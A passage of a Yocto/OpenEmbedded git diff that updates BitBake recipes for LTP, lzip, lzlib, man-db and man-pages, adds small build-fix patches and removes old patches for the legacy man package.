+ file://0001-scenario_groups-default-remove-connectors.patch \
+ "
+
+S = "${WORKDIR}/git"
+
+inherit autotools-brokensep pkgconfig
+
+# Version 20220527 added KVM test infrastructure which currently fails to build with gold due to
+# SORT_NONE in linker script which isn't supported by gold:
+# https://sourceware.org/bugzilla/show_bug.cgi?id=18097
+# https://github.com/linux-test-project/ltp/commit/3fce2064b54843218d085aae326c8f7ecf3a8c41#diff-39268f0855c634ca48c8993fcd2c95b12a65b79e8d9fa5ccd6b0f5a8785c0dd6R36
+LDFLAGS:append = "${@bb.utils.contains('DISTRO_FEATURES', 'ld-is-gold', ' -fuse-ld=bfd', '', d)}"
+LDFLAGS:append = "${@bb.utils.contains('DISTRO_FEATURES', 'ld-is-lld', ' -fuse-ld=bfd', '', d)}"
+
+# After 0002-kvm-use-LD-instead-of-hardcoding-ld.patch
+# https://github.com/linux-test-project/ltp/commit/f94e0ef3b7280f886384703ef9019aaf2f2dfebb
+# it fails with gold also a bit later when trying to use *-payload.bin
+# http://errors.yoctoproject.org/Errors/Details/663094/
+# work around this by forcing .bfd linked in LD when ld-is-gold is in DISTRO_FEATURES
+KVM_LD = "${@bb.utils.contains_any('DISTRO_FEATURES', 'ld-is-gold ld-is-lld', '${HOST_PREFIX}ld.bfd${TOOLCHAIN_OPTIONS} ${HOST_LD_ARCH}', '${LD}', d)}"
+
+TARGET_CC_ARCH += "${LDFLAGS}"
+
+export prefix = "/opt/${PN}"
+export exec_prefix = "/opt/${PN}"
+
+PACKAGECONFIG[numa] = "--with-numa, --without-numa, numactl,"
+EXTRA_AUTORECONF += "-I ${S}/testcases/realtime/m4"
+EXTRA_OECONF = " --with-realtime-testsuite --with-open-posix-testsuite "
+# ltp network/rpc test cases ftbfs when libtirpc is found
+EXTRA_OECONF += " --without-tirpc "
+
+do_compile() {
+ oe_runmake HOSTCC="${CC_FOR_BUILD}" HOST_CFLAGS="${CFLAGS_FOR_BUILD}" HOST_LDFLAGS="${LDFLAGS_FOR_BUILD}" KVM_LD="${KVM_LD}"
+}
+
+do_install(){
+ install -d ${D}${prefix}/
+ oe_runmake DESTDIR=${D} SKIP_IDCHECK=1 install include-install
+
+ # fixup not deploy STPfailure_report.pl to avoid confusing about it fails to run
+ # as it lacks dependency on some perl moudle such as LWP::Simple
+ # And this script previously works as a tool for analyzing failures from LTP
+ # runs on the OSDL's Scaleable Test Platform (STP) and it mainly accesses
+ # http://khack.osdl.org to retrieve ltp test results run on
+ # OSDL's Scaleable Test Platform, but now http://khack.osdl.org unaccessible
+ rm -rf ${D}${prefix}/bin/STPfailure_report.pl
+
+ # The controllers memcg_stree test seems to cause us hangs and takes 900s
+ # (maybe we expect more regular output?), anyhow, skip it
+ sed -e '/^memcg_stress/d' -i ${D}${prefix}/runtest/controllers
+}
+
+RDEPENDS:${PN} = "\
+ attr \
+ bash \
+ bc \
+ coreutils \
+ cpio \
+ cronie \
+ curl \
+ e2fsprogs \
+ e2fsprogs-mke2fs \
+ expect \
+ file \
+ findutils \
+ gawk \
+ gdb \
+ gzip \
+ iproute2 \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'ipv6', 'iputils-ping6', '', d)} \
+ ldd \
+ libaio \
+ logrotate \
+ net-tools \
+ perl \
+ python3-core \
+ procps \
+ quota \
+ unzip \
+ util-linux \
+ which \
+ tar \
+"
+
+RRECOMMENDS:${PN} += "kernel-module-loop"
+
+FILES:${PN} += "${prefix}/* ${prefix}/runtest/* ${prefix}/scenario_groups/* ${prefix}/testcases/bin/* ${prefix}/testcases/bin/*/bin/* ${prefix}/testscripts/* ${prefix}/testcases/open_posix_testsuite/* ${prefix}/testcases/open_posix_testsuite/conformance/* ${prefix}/testcases/open_posix_testsuite/Documentation/* ${prefix}/testcases/open_posix_testsuite/functional/* ${prefix}/testcases/open_posix_testsuite/include/* ${prefix}/testcases/open_posix_testsuite/scripts/* ${prefix}/testcases/open_posix_testsuite/stress/* ${prefix}/testcases/open_posix_testsuite/tools/* ${prefix}/testcases/data/nm01/lib.a ${prefix}/lib/libmem.a"
+
+# Avoid stripping some generated binaries otherwise some of the ltp tests such as ldd01 & nm01 fail
+INHIBIT_PACKAGE_STRIP_FILES = "${prefix}/testcases/bin/nm01 ${prefix}/testcases/bin/ldd01"
+INSANE_SKIP:${PN} += "already-stripped staticdev"
+
+remove_broken_musl_sources() {
+ [ "${TCLIBC}" = "musl" ] || return 0
+
+ cd ${S}
+ echo "WARNING: remove unsupported tests (until they're fixed)"
+
+ # sync with upstream
+ # https://github.com/linux-test-project/ltp/blob/master/ci/alpine.sh#L33
+ rm -rfv \
+ testcases/kernel/syscalls/fmtmsg/fmtmsg01.c \
+ testcases/kernel/syscalls/getcontext/getcontext01.c \
+ testcases/kernel/syscalls/rt_tgsigqueueinfo/rt_tgsigqueueinfo01.c \
+ testcases/kernel/syscalls/timer_create/timer_create01.c \
+ testcases/kernel/syscalls/timer_create/timer_create03.c
+}
+do_patch[postfuncs] += "remove_broken_musl_sources"
+
+# Avoid file dependency scans, as LTP checks for things that may or may not
+# exist on the running system. For instance it has specific checks for
+# csh and ksh which are not typically part of OpenEmbedded systems (but
+# can be added via additional layers.)
+SKIP_FILEDEPS:${PN} = '1'
diff --git a/meta/recipes-extended/lzip/lzip_1.19.bb b/meta/recipes-extended/lzip/lzip_1.24.1.bb
index 099b364702..6eda012734 100644
--- a/meta/recipes-extended/lzip/lzip_1.19.bb
+++ b/meta/recipes-extended/lzip/lzip_1.24.1.bb
@@ -1,14 +1,17 @@
SUMMARY = "Lossless data compressor based on the LZMA algorithm"
HOMEPAGE = "http://lzip.nongnu.org/lzip.html"
+DESCRIPTION = "Lzip is a lossless data compressor with a user interface similar to the one of gzip or bzip2. Lzip uses a simplified form of the Lempel-Ziv-Markov chain-Algorithm (LZMA) stream format, chosen to maximize safety and interoperability."
SECTION = "console/utils"
-LICENSE = "GPLv2+"
+LICENSE = "GPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=76d6e300ffd8fb9d18bd9b136a9bba13 \
- file://decoder.cc;beginline=3;endline=16;md5=db09fe3f9573f94d0076f7f07959e6e1"
+ file://decoder.cc;beginline=3;endline=16;md5=18c279060cd0be128188404b45837f88 \
+ "
SRC_URI = "${SAVANNAH_GNU_MIRROR}/lzip/lzip-${PV}.tar.gz"
+SRC_URI[sha256sum] = "30c9cb6a0605f479c496c376eb629a48b0a1696d167e3c1e090c5defa481b162"
-SRC_URI[md5sum] = "4dd8790d7528440d034fc713a8680bd3"
-SRC_URI[sha256sum] = "ffadc4f56be1bc0d3ae155ec4527bd003133bdc703a753b2cc683f610e646ba9"
+B = "${WORKDIR}/build"
+do_configure[cleandirs] = "${B}"
CONFIGUREOPTS = "\
'--srcdir=${S}' \
@@ -23,9 +26,7 @@ CONFIGUREOPTS = "\
'CXXFLAGS=${CXXFLAGS}' \
'LDFLAGS=${LDFLAGS}' \
"
-EXTRA_OEMAKE = ""
-B = "${S}/obj"
do_configure () {
${S}/configure ${CONFIGUREOPTS}
}
diff --git a/meta/recipes-extended/lzip/lzlib_1.14.bb b/meta/recipes-extended/lzip/lzlib_1.14.bb
new file mode 100644
index 0000000000..a6010bbf27
--- /dev/null
+++ b/meta/recipes-extended/lzip/lzlib_1.14.bb
@@ -0,0 +1,39 @@
+SUMMARY = "Data compression library providing in-memory LZMA compression and decompression functions"
+HOMEPAGE = "https://www.nongnu.org/lzip/lzlib.html"
+DESCRIPTION = "Lzlib is a data compression library providing in-memory LZMA compression and decompression functions, including integrity checking of the decompressed data. The compressed data format used by the library is the lzip format. Lzlib is written in C. "
+LICENSE = "BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=04d943636aa1482e0a97d924d9f4f68f \
+ "
+
+SRC_URI = "${SAVANNAH_GNU_MIRROR}/lzip/lzlib/lzlib-${PV}.tar.gz"
+SRC_URI[sha256sum] = "5acac8714ed4f306020bae660dddce706e5f8a795863679037da9fe6bf4dcf6f"
+
+B = "${WORKDIR}/build"
+do_configure[cleandirs] = "${B}"
+
+CONFIGUREOPTS = "\
+ '--srcdir=${S}' \
+ '--prefix=${prefix}' \
+ '--exec-prefix=${exec_prefix}' \
+ '--bindir=${bindir}' \
+ '--datadir=${datadir}' \
+ '--infodir=${infodir}' \
+ '--libdir=${libdir}' \
+ '--sysconfdir=${sysconfdir}' \
+ '--enable-shared' \
+ '--disable-static' \
+ 'CC=${CC}' \
+ 'CPPFLAGS=${CPPFLAGS}' \
+ 'CXXFLAGS=${CXXFLAGS}' \
+ 'LDFLAGS=${LDFLAGS}' \
+"
+
+do_configure () {
+ ${S}/configure ${CONFIGUREOPTS}
+}
+
+do_install () {
+ oe_runmake 'DESTDIR=${D}' install
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/man-db/files/0001-man-Move-local-variable-declaration-to-function-scop.patch b/meta/recipes-extended/man-db/files/0001-man-Move-local-variable-declaration-to-function-scop.patch
new file mode 100644
index 0000000000..57ecd48b1f
--- /dev/null
+++ b/meta/recipes-extended/man-db/files/0001-man-Move-local-variable-declaration-to-function-scop.patch
@@ -0,0 +1,38 @@
+From e4125223631f0d555fc327da6d8705bcc8ee5ba5 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Wed, 9 Feb 2022 17:30:16 -0800
+Subject: [PATCH] man: Move local variable declaration to function scope
+
+There is a clang bug [1] unearthed here, so help clang by re-arranging
+code without changing the logic, until its fixed in clang
+
+[1] https://github.com/llvm/llvm-project/issues/53692
+
+Upstream-Status: Inappropriate [Inappropriate: Clang bug]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ src/man.c | 4 ++--
+ 1 file changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/src/man.c b/src/man.c
+index 195d35d..6870989 100644
+--- a/src/man.c
++++ b/src/man.c
+@@ -379,7 +379,7 @@ static void init_html_pager (void)
+ static error_t parse_opt (int key, char *arg, struct argp_state *state)
+ {
+ static bool apropos, whatis; /* retain values between calls */
+-
++ char *s;
+ /* Please keep these keys in the same order as in options above. */
+ switch (key) {
+ case 'C':
+@@ -411,7 +411,7 @@ static error_t parse_opt (int key, char *arg, struct argp_state *state)
+ case OPT_WARNINGS:
+ #ifdef NROFF_WARNINGS
+ {
+- char *s = xstrdup
++ s = xstrdup
+ (arg ? arg : default_roff_warnings);
+ const char *warning;
+
diff --git a/meta/recipes-extended/man-db/files/99_mandb b/meta/recipes-extended/man-db/files/99_mandb
new file mode 100644
index 0000000000..9b8a1712b7
--- /dev/null
+++ b/meta/recipes-extended/man-db/files/99_mandb
@@ -0,0 +1 @@
+d man man 0755 /var/cache/man none
diff --git a/meta/recipes-extended/man-db/man-db_2.12.1.bb b/meta/recipes-extended/man-db/man-db_2.12.1.bb
new file mode 100644
index 0000000000..27b47a7f47
--- /dev/null
+++ b/meta/recipes-extended/man-db/man-db_2.12.1.bb
@@ -0,0 +1,72 @@
+SUMMARY = "An implementation of the standard Unix documentation system accessed using the man command"
+HOMEPAGE = "http://man-db.nongnu.org/"
+DESCRIPTION = "man-db is an implementation of the standard Unix documentation system accessed using the man command. It uses a Berkeley DB database in place of the traditional flat-text whatis databases."
+LICENSE = "LGPL-2.1-or-later & GPL-2.0-or-later & GPL-3.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464 \
+ file://docs/COPYING.GPLv2;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ file://docs/COPYING.LIB;md5=4fbd65380cdd255951079008b364516c \
+ "
+
+SRC_URI = "${SAVANNAH_NONGNU_MIRROR}/man-db/man-db-${PV}.tar.xz \
+ file://99_mandb \
+ file://0001-man-Move-local-variable-declaration-to-function-scop.patch \
+ "
+SRC_URI[sha256sum] = "ddee249daeb78cf92bab794ccd069cc8b575992265ea20e239e887156e880265"
+
+DEPENDS = "libpipeline gdbm groff-native base-passwd"
+RDEPENDS:${PN} += "base-passwd"
+PACKAGE_WRITE_DEPS += "base-passwd"
+
+# | /usr/src/debug/man-db/2.8.0-r0/man-db-2.8.0/src/whatis.c:939: undefined reference to `_nl_msg_cat_cntr'
+USE_NLS:libc-musl = "no"
+
+inherit gettext pkgconfig autotools systemd
+
+EXTRA_OECONF = "--with-pager=less --with-systemdsystemunitdir=${systemd_system_unitdir}"
+EXTRA_AUTORECONF += "-I ${S}/gl/m4"
+
+PACKAGECONFIG[bzip2] = "--with-bzip2=bzip2,ac_cv_prog_have_bzip2='',bzip2"
+PACKAGECONFIG[gzip] = "--with-gzip=gzip,ac_cv_prog_have_gzip='',gzip"
+PACKAGECONFIG[lzip] = "--with-lzip=lzip,ac_cv_prog_have_lzip='',lzip"
+PACKAGECONFIG[lzma] = "--with-lzma=lzma,ac_cv_prog_have_lzma='',xz"
+PACKAGECONFIG[zstd] = "--with-zstd=zstd,ac_cv_prog_have_zstd='',zstd"
+PACKAGECONFIG[xz] = "--with-xz=xz,ac_cv_prog_have_xz='',xz"
+
+do_install() {
+ autotools_do_install
+
+ if ${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', 'true', 'false', d)}; then
+ install -d ${D}/etc/default/volatiles
+ install -m 0644 ${WORKDIR}/99_mandb ${D}/etc/default/volatiles
+ fi
+}
+
+do_install:append:libc-musl() {
+ rm -f ${D}${libdir}/charset.alias
+}
+
+FILES:${PN} += "${prefix}/lib/tmpfiles.d"
+
+FILES:${PN}-dev += "${libdir}/man-db/libman.so ${libdir}/${BPN}/libmandb.so"
+
+RDEPENDS:${PN} += "groff"
+RRECOMMENDS:${PN} += "less"
+# iconv from glibc-utils can be used to transform encoding
+RRECOMMENDS:${PN}:append:libc-glibc = " glibc-utils"
+RPROVIDES:${PN} += "man"
+
+def compress_pkg(d):
+ if bb.utils.contains("INHERIT", "compress_doc", True, False, d):
+ compress = d.getVar("DOC_COMPRESS")
+ if compress == "gz":
+ return "gzip"
+ elif compress == "bz2":
+ return "bzip2"
+ elif compress == "xz":
+ return "xz"
+ return ""
+
+RDEPENDS:${PN} += "${@compress_pkg(d)}"
+
+SYSTEMD_SERVICE:${PN} = "man-db.timer man-db.service"
+SYSTEMD_AUTO_ENABLE ?= "disable"
diff --git a/meta/recipes-extended/man-pages/man-pages/0001-GNUmakefile-use-env-from-PATH.patch b/meta/recipes-extended/man-pages/man-pages/0001-GNUmakefile-use-env-from-PATH.patch
new file mode 100644
index 0000000000..a644d24328
--- /dev/null
+++ b/meta/recipes-extended/man-pages/man-pages/0001-GNUmakefile-use-env-from-PATH.patch
@@ -0,0 +1,31 @@
+From fbf0544138af02be4d6dd3085e7ecf98ad060bb4 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Wed, 13 Mar 2024 17:30:02 +0100
+Subject: [PATCH] GNUmakefile: use env from PATH
+
+This allows using env from coreutils-native (rather than host env),
+which resolves the problem of missing -S option on distributions
+with much older coreutils such as Ubuntu 18.04.
+
+Once all autobuilder distros are newer than that, this patch
+can be dropped, together with corutils-native dependency.
+
+Upstream-Status: Inappropriate [made for obsolete host distros]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ GNUmakefile | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/GNUmakefile b/GNUmakefile
+index 1234194..65ba327 100644
+--- a/GNUmakefile
++++ b/GNUmakefile
+@@ -21,7 +21,7 @@
+ ########################################################################
+
+
+-SHELL := /usr/bin/env
++SHELL := env
+ .SHELLFLAGS := -S bash -Eeuo pipefail -c
+
+
diff --git a/meta/recipes-extended/man-pages/man-pages/0001-man.ml-do-not-use-dev-stdin.patch b/meta/recipes-extended/man-pages/man-pages/0001-man.ml-do-not-use-dev-stdin.patch
new file mode 100644
index 0000000000..ec2d0600c7
--- /dev/null
+++ b/meta/recipes-extended/man-pages/man-pages/0001-man.ml-do-not-use-dev-stdin.patch
@@ -0,0 +1,33 @@
+From f16cd8c4986b7f250e8465dfbe4bda8d366e05dd Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Mon, 4 Mar 2024 14:35:16 +0100
+Subject: [PATCH] man.ml: do not use /dev/stdin
+
+This was introduced in https://git.kernel.org/pub/scm/docs/man-pages/man-pages.git/commit/?id=30c38a8bf8ae8f4a6e71d3b8ac4abf0a40778f1e
+(presumably to build a 'sed | install' pipeline instead of previous 'install; sed' sequence),
+but it doesn't work under pseudo where /dev/stdin is absent.
+
+Upstream-Status: Inappropriate [yocto specific]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ share/mk/install/man.mk | 6 +++---
+ 1 file changed, 3 insertions(+), 3 deletions(-)
+
+diff --git a/share/mk/install/man.mk b/share/mk/install/man.mk
+index b9865b9..06880f0 100644
+--- a/share/mk/install/man.mk
++++ b/share/mk/install/man.mk
+@@ -60,10 +60,10 @@ $(foreach s, $(MANSECTIONS), \
+
+ $(_manpages):
+ $(info INSTALL $@)
+- <$< \
+- $(SED) $(foreach s, $(MANSECTIONS), \
++ $(INSTALL_DATA) -T $< $@
++ $(SED) -i $(foreach s, $(MANSECTIONS), \
+ -e '/^\.so /s, man$(s)/\(.*\)\.$(s)$$, $(notdir $(man$(s)dir))/\1$(man$(s)ext)$(Z),') \
+- | $(INSTALL_DATA) -T /dev/stdin $@
++ $@
+ ifeq ($(LINK_PAGES),symlink)
+ if $(GREP) '^\.so ' <$@ >/dev/null; then \
+ $(GREP) '^\.so ' <$@ \
diff --git a/meta/recipes-extended/man-pages/man-pages_4.11.bb b/meta/recipes-extended/man-pages/man-pages_4.11.bb
deleted file mode 100644
index a3077a9fff..0000000000
--- a/meta/recipes-extended/man-pages/man-pages_4.11.bb
+++ /dev/null
@@ -1,31 +0,0 @@
-SUMMARY = "Linux man-pages"
-DESCRIPTION = "The Linux man-pages project documents the Linux kernel and C library interfaces that are employed by user programs"
-SECTION = "console/utils"
-HOMEPAGE = "http://www.kernel.org/pub/linux/docs/man-pages"
-LICENSE = "GPLv2+"
-
-LIC_FILES_CHKSUM = "file://README;md5=8f2a3d43057d458e5066714980567a60"
-SRC_URI = "${KERNELORG_MIRROR}/linux/docs/${BPN}/Archive/${BP}.tar.gz"
-
-SRC_URI[md5sum] = "408300ed09d1ad5938070158b21da1d1"
-SRC_URI[sha256sum] = "e6db91a24e68c7c765b7b8e60f1591ed1049bc2dc3143db779eae4838b89d195"
-
-RDEPENDS_${PN} = "man"
-
-do_configure[noexec] = "1"
-do_compile[noexec] = "1"
-
-do_install() {
- oe_runmake install DESTDIR=${D}
-}
-
-# Only deliveres man-pages so FILES_${PN} gets everything
-FILES_${PN}-doc = ""
-FILES_${PN} = "${mandir}/*"
-
-inherit update-alternatives
-
-ALTERNATIVE_PRIORITY = "100"
-ALTERNATIVE_${PN} = "passwd.5 getspnam.3"
-ALTERNATIVE_LINK_NAME[passwd.5] = "${mandir}/man5/passwd.5"
-ALTERNATIVE_LINK_NAME[getspnam.3] = "${mandir}/man3/getspnam.3"
diff --git a/meta/recipes-extended/man-pages/man-pages_6.06.bb b/meta/recipes-extended/man-pages/man-pages_6.06.bb
new file mode 100644
index 0000000000..0f091bbd7d
--- /dev/null
+++ b/meta/recipes-extended/man-pages/man-pages_6.06.bb
@@ -0,0 +1,50 @@
+SUMMARY = "Linux man-pages"
+DESCRIPTION = "The Linux man-pages project documents the Linux kernel and C library interfaces that are employed by user programs"
+SECTION = "console/utils"
+HOMEPAGE = "http://www.kernel.org/pub/linux/docs/man-pages"
+LICENSE = "GPL-2.0-or-later & GPL-2.0-only & GPL-1.0-or-later & BSD-2-Clause & BSD-3-Clause & BSD-4-Clause & MIT"
+
+LIC_FILES_CHKSUM = "file://README;md5=72cff06b7954222c24d38bc2c41b234e \
+ file://LICENSES/BSD-2-Clause.txt;md5=9e16594a228301089d759b4f178db91f \
+ file://LICENSES/BSD-3-Clause.txt;md5=407426fcc1a243b7b2eff6e35c56aca9 \
+ file://LICENSES/BSD-4-Clause-UC.txt;md5=1da3cf8ad50cd8d5d1de3cfc53196d01 \
+ file://LICENSES/GPL-1.0-or-later.txt;md5=e5b7c80002ef72ab868b43ce47b65125 \
+ file://LICENSES/GPL-2.0-only.txt;md5=3d26203303a722dedc6bf909d95ba815 \
+ file://LICENSES/GPL-2.0-or-later.txt;md5=3d26203303a722dedc6bf909d95ba815 \
+ file://LICENSES/Linux-man-pages-1-para.txt;md5=97ab07585ce6700273bc66461bf46bf2 \
+ file://LICENSES/Linux-man-pages-copyleft-2-para.txt;md5=1cafc230857da5e43f3d509c425d3c64 \
+ file://LICENSES/Linux-man-pages-copyleft.txt;md5=173b960c686ff2d26f043ddaeb63f6ce \
+ file://LICENSES/Linux-man-pages-copyleft-var.txt;md5=d33708712c5918521f47f23b0c4e0d20 \
+ file://LICENSES/MIT.txt;md5=7dda4e90ded66ab88b86f76169f28663 \
+ "
+SRC_URI = "${KERNELORG_MIRROR}/linux/docs/${BPN}/${BP}.tar.gz \
+ file://0001-man.ml-do-not-use-dev-stdin.patch \
+ file://0001-GNUmakefile-use-env-from-PATH.patch \
+ "
+
+SRC_URI[sha256sum] = "006906e7be81a71c2d347809597bcb91485fa7fa488acdaa79e681ddfa894568"
+
+inherit manpages
+
+# can be dropped when ubuntu 18.04 is not in use anymore
+DEPENDS += "coreutils-native"
+
+MAN_PKG = "${PN}"
+
+PACKAGECONFIG ??= ""
+PACKAGECONFIG[manpages] = ""
+
+do_configure[noexec] = "1"
+do_compile[noexec] = "1"
+
+do_install() {
+ oe_runmake install prefix=${prefix} DESTDIR=${D}
+ rm -rf ${D}${mandir}/man3/crypt.3
+ rm -rf ${D}${mandir}/man3/crypt_r.3
+ rm -rf ${D}${mandir}/man3/getspnam.3
+ rm -rf ${D}${mandir}/man5/passwd.5
+}
+
+# Only deliveres man-pages so FILES:${PN} gets everything
+FILES:${PN}-doc = ""
+FILES:${PN} = "${mandir}/*"
diff --git a/meta/recipes-extended/man/man/configure_sed.patch b/meta/recipes-extended/man/man/configure_sed.patch
deleted file mode 100644
index d49e6831d9..0000000000
--- a/meta/recipes-extended/man/man/configure_sed.patch
+++ /dev/null
@@ -1,32 +0,0 @@
-man: replace ',' with '#'
-
-Sometimes, the parameters of CC/BUILD_CC contains the ',', which
-cause the sed command failed, so replace the ',' with '#'
-
-Upstream-Status: Pending
-
-Signed-off-by: Yue Tao <Yue.Tao@windriver.com>
-Signed-off-by: Wenzong Fan <wenzong.fan@windriver.com>
----
- configure | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/configure b/configure
-index 9f62cf9..9a565ae 100755
---- a/configure
-+++ b/configure
-@@ -1321,9 +1321,9 @@ do
- echo "Creating $infile from $infile.in"
- sed -e '
- s,@version@,$version,
--s,@CC@,$CC,
-+s#@CC@#$CC#
- s,@EXEEXT@,$EXEEXT,
--s,@BUILD_CC@,$BUILD_CC,
-+s#@BUILD_CC@#$BUILD_CC#
- s,@INSTALL@,$INSTALL,
- s,@DEFS@,$DEFS,
- s,@LIBS@,$LIBS,
---
-1.9.1
-
diff --git a/meta/recipes-extended/man/man/man-1.5g-nonrootbuild.patch b/meta/recipes-extended/man/man/man-1.5g-nonrootbuild.patch
deleted file mode 100644
index 6f834bd01b..0000000000
--- a/meta/recipes-extended/man/man/man-1.5g-nonrootbuild.patch
+++ /dev/null
@@ -1,16 +0,0 @@
-Upstream-Status: Pending
-
-Signed-off-by: Scott Garman <scott.a.garman@intel.com>
-
-diff -u -r man-1.5g.old/configure man-1.5g/configure
---- man-1.5g.old/configure Wed Apr 7 04:16:05 1999
-+++ man-1.5g/configure Mon May 15 15:22:44 2000
-@@ -791,7 +791,7 @@
- read mode
- if test "$mode" != ""; then man_mode=$mode; fi
- fi
-- man_install_flags="-m $man_mode -o $man_user -g $man_group"
-+ man_install_flags=""
- fi
-
- # What sections do we anticipate?
diff --git a/meta/recipes-extended/man/man/man-1.5h1-gencat.patch b/meta/recipes-extended/man/man/man-1.5h1-gencat.patch
deleted file mode 100644
index 044b14c509..0000000000
--- a/meta/recipes-extended/man/man/man-1.5h1-gencat.patch
+++ /dev/null
@@ -1,14 +0,0 @@
-Upstream-Status: Pending
-
-Signed-off-by: Scott Garman <scott.a.garman@intel.com>
-
---- gencat/genlib.c 2006-08-02 20:11:44.000000000 +0200
-+++ gencat/genlib.c.oden 2008-12-21 19:18:50.000000000 +0100
-@@ -47,6 +47,7 @@ up-to-date. Many thanks.
- 01/14/91 4 nazgul Off by one on number specified entries
- */
-
-+#undef _GNU_SOURCE
- #include <stdio.h>
- #include <stdlib.h>
- #ifdef SYSV
diff --git a/meta/recipes-extended/man/man/man-1.5h1-make.patch b/meta/recipes-extended/man/man/man-1.5h1-make.patch
deleted file mode 100644
index 8631eb2c53..0000000000
--- a/meta/recipes-extended/man/man/man-1.5h1-make.patch
+++ /dev/null
@@ -1,17 +0,0 @@
-Upstream-Status: Pending
-
-Signed-off-by: Scott Garman <scott.a.garman@intel.com>
-
---- man-1.5g/man/Makefile.in.mike Fri Apr 9 13:35:54 1999
-+++ man-1.5g/man/Makefile.in Fri Apr 9 13:36:45 1999
-@@ -1,8 +1,8 @@
- # only executed from a subdir
- MAN1 = man whatis apropos
--MAN5 = man.conf
-+MAN5 = man.config
- MAN8 = makewhatis
--ALL = man.1 whatis.1 apropos.1 man.conf.5
-+ALL = man.1 whatis.1 apropos.1 man.config.5
- MAYBE8 = makewhatis
-
- .SUFFIXES: .man .1 .5 .8
diff --git a/meta/recipes-extended/man/man/man-1.5i2-initial.patch b/meta/recipes-extended/man/man/man-1.5i2-initial.patch
deleted file mode 100644
index fe56c0706c..0000000000
--- a/meta/recipes-extended/man/man/man-1.5i2-initial.patch
+++ /dev/null
@@ -1,19 +0,0 @@
-Upstream-Status: Pending
-
-Signed-off-by: Scott Garman <scott.a.garman@intel.com>
-
---- man-1.5i2/src/makewhatis.sh.initial Tue Jul 3 15:38:39 2001
-+++ man-1.5i2/src/makewhatis.sh Tue Jul 3 15:39:39 2001
-@@ -81,8 +81,10 @@
- continue;;
- -s) setsections=1
- continue;;
-- -u) findarg="-newer /var/cache/man/whatis"
-- update=1
-+ -u) if [ -e /var/cache/man/whatis ]; then
-+ findarg="-newer /var/cache/man/whatis"
-+ update=1
-+ fi
- continue;;
- -v) verbose=1
- continue;;
diff --git a/meta/recipes-extended/man/man/man-1.5i2-newline.patch b/meta/recipes-extended/man/man/man-1.5i2-newline.patch
deleted file mode 100644
index 611df5d259..0000000000
--- a/meta/recipes-extended/man/man/man-1.5i2-newline.patch
+++ /dev/null
@@ -1,15 +0,0 @@
-Upstream-Status: Pending
-
-Signed-off-by: Scott Garman <scott.a.garman@intel.com>
-
---- src/man.c 2008-12-21 19:17:31.000000000 +0100
-+++ src/man.c.oden 2008-12-21 19:17:38.000000000 +0100
-@@ -391,7 +391,7 @@ again:
- beg++;
-
- end = beg;
-- while (*end != ' ' && *end != '\t' && *end != '\n' && *end != '\0')
-+ while (*end != ' ' && *end != '\t' && *end != '\n' && *end != '\0' && (end-buf)<BUFSIZE)
- end++; /* note that buf is NUL-terminated */
- *end = '\0';
-
diff --git a/meta/recipes-extended/man/man/man-1.5i2-overflow.patch b/meta/recipes-extended/man/man/man-1.5i2-overflow.patch
deleted file mode 100644
index 52d2881a89..0000000000
--- a/meta/recipes-extended/man/man/man-1.5i2-overflow.patch
+++ /dev/null
@@ -1,16 +0,0 @@
-Upstream-Status: Pending
-
-Signed-off-by: Scott Garman <scott.a.garman@intel.com>
-
---- man-1.5i2/src/man.c.overflow Mon Jun 25 00:01:45 2001
-+++ man-1.5i2/src/man.c Mon Jun 25 00:01:45 2001
-@@ -381,6 +381,9 @@
- strcat(name, "/");
- strcat(name, beg);
- }
-+ /* If this is too long, bad things have already happened. *
-+ * we should quit IMMEDIATELY. */
-+ if(strlen(name)>sizeof(ultname)) _exit(1);
-
- goto again;
- }
diff --git a/meta/recipes-extended/man/man/man-1.5j-i18n.patch b/meta/recipes-extended/man/man/man-1.5j-i18n.patch
deleted file mode 100644
index 2ae09c0ea4..0000000000
--- a/meta/recipes-extended/man/man/man-1.5j-i18n.patch
+++ /dev/null
@@ -1,16 +0,0 @@
-Upstream-Status: Pending
-
-Signed-off-by: Scott Garman <scott.a.garman@intel.com>
-
---- man-1.5j/msgs/inst.sh.i18n Wed Apr 25 10:40:50 2001
-+++ man-1.5j/msgs/inst.sh Wed Apr 25 10:41:17 2001
-@@ -27,8 +27,7 @@
- for j in $M; do
- if [ -f $j ]; then
- i=`echo $j | sed -e 's/mess.//; s/.cat//'`
-- dest=`echo $locdir | sed -e "s/%N/man/; s/%L/$i/"`
-- dest=${PREFIX}$dest
-+ dest=${PREFIX}/`echo $locdir | sed -e "s/%N/man/; s/%L/$i/"`
- echo "mkdir -p `dirname $dest`"
- mkdir -p `dirname $dest`;
- echo "install -c -m 644 $j $dest"
diff --git a/meta/recipes-extended/man/man/man-1.5j-nocache.patch b/meta/recipes-extended/man/man/man-1.5j-nocache.patch
deleted file mode 100644
index 751dddd53b..0000000000
--- a/meta/recipes-extended/man/man/man-1.5j-nocache.patch
+++ /dev/null
@@ -1,16 +0,0 @@
-Upstream-Status: Pending
-
-Signed-off-by: Scott Garman <scott.a.garman@intel.com>
-
---- man-1.5j/src/man.conf.in.nocache Thu Nov 22 15:07:12 2001
-+++ man-1.5j/src/man.conf.in Thu Nov 22 15:07:12 2001
-@@ -81,6 +81,9 @@
- #
- #NOCACHE
- #
-+# NOCACHE keeps man from creating cache pages
-+NOCACHE
-+#
- # Useful paths - note that COL should not be defined when
- # NROFF is defined as "groff -Tascii" or "groff -Tlatin1";
